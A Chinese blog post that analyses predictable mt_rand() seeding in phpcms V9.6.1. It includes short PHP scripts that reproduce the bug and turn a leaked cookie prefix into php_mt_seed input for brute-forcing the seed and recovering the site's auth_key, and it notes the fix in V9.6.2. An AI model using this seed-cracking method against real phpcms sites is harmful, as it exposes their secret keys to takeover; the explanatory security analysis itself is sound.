php随机字符串带来的安全问题实例(phpcms V9.6.1)

  在php中,产生随机数的方法有 rand()函数和 mt_rand()函数,无论是rand()函数还是mt_rand()函数,当随机数种子相同的时候,无论运行多少次,产生的随机数序列都是一样的,所以如果我们在代码中自己播种了随机数种子,但是泄露了这个种子,就会导致产生的随机数序列被别人猜到,造成安全问题。

 

  在我们测试 mt_rand() 的时候,可以利用 php_mt_seed 这款工具来进行验证,下载地址:http://www.openwall.com/php_mt_seed/,测试如下:

  

  可以看到,我们是可以根据随机数序列来获取这个 seed 种子的,这样对于预测之后的随机数序列就没啥问题了,因为如果未设定随机数种子的值,那么使用的种子是同一个。

  回到我们的案例,在 phpcmsV9.6.1 中,在 install.php 是这样的:

  而 random() 函数的实现是用的 mt_rand() ,并且在这之前没有进行手动 seed 赋值,也就是获取 $cookie_pre 和 $auth_key 是用的一个 seed 种子,利用上面说的方法,就可以通过获取的 cookie前缀值来爆破随机数种子,然后获取 auth_key 的值。

  把文件抽象出来大致就是:

  mt_rand.php

<?php
function random($length, $chars = '0123456789') {
    $hash = '';
    $max = strlen($chars) - 1;
    for($i = 0; $i < $length; $i++) {
        $hash .= $chars[mt_rand(0, $max)];
    }
    return $hash;
}
$cookie_pre = random(5, 'abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ');
$auth_key = random(20, '1294567890abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ');
echo "$cookie_pre\n";
echo "$auth_key\n";
?>

  crake.php

<?php 
$str = "fHDAN";
$randStr = "abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ";
 
for($i=0;$i<strlen($str);$i++){
   $pos = strpos($randStr,$str[$i]);
   echo $pos." ".$pos." "."0 ".(strlen($randStr)-1)." ";
   //整理成方便 php_mt_seed 测试的格式
  //php_mt_seed VALUE_OR_MATCH_MIN [MATCH_MAX [RANGE_MIN RANGE_MAX]]
}
echo "\n";
?>

  测试爆破结果,

  后来官方在V9.6.2版本中添加了随机数种子播种的操作,使得生成 cookie 前缀和 auth_key 的随机数种子不同,也就不能利用这个爆破的方法去获取 auth_key 了。

  

  而对于 rand() 函数来说,产生的随机数可以用下面这个公式预测 : state[i] = state[i-3] + state[i-31] (有可能会比计算的值大1),测试代码:

<?php
$arr=array();
for($i=0;$i<=50;$i++){
    //echo $i.": ".rand(0,30)."\n";
    $arr[$i]=rand(0,30);
    if($i>=31){
        echo $i.": "."$arr[$i]=(".$arr[$i-31]."+".$arr[$i-3].") mod 31"."\n";
    }
    else echo $i.": ".$arr[$i]."\n";
}

  测试如下:

  

 

posted on 2017-05-15 20:12  镱鍚  阅读(307)  评论(0)    收藏  举报

导航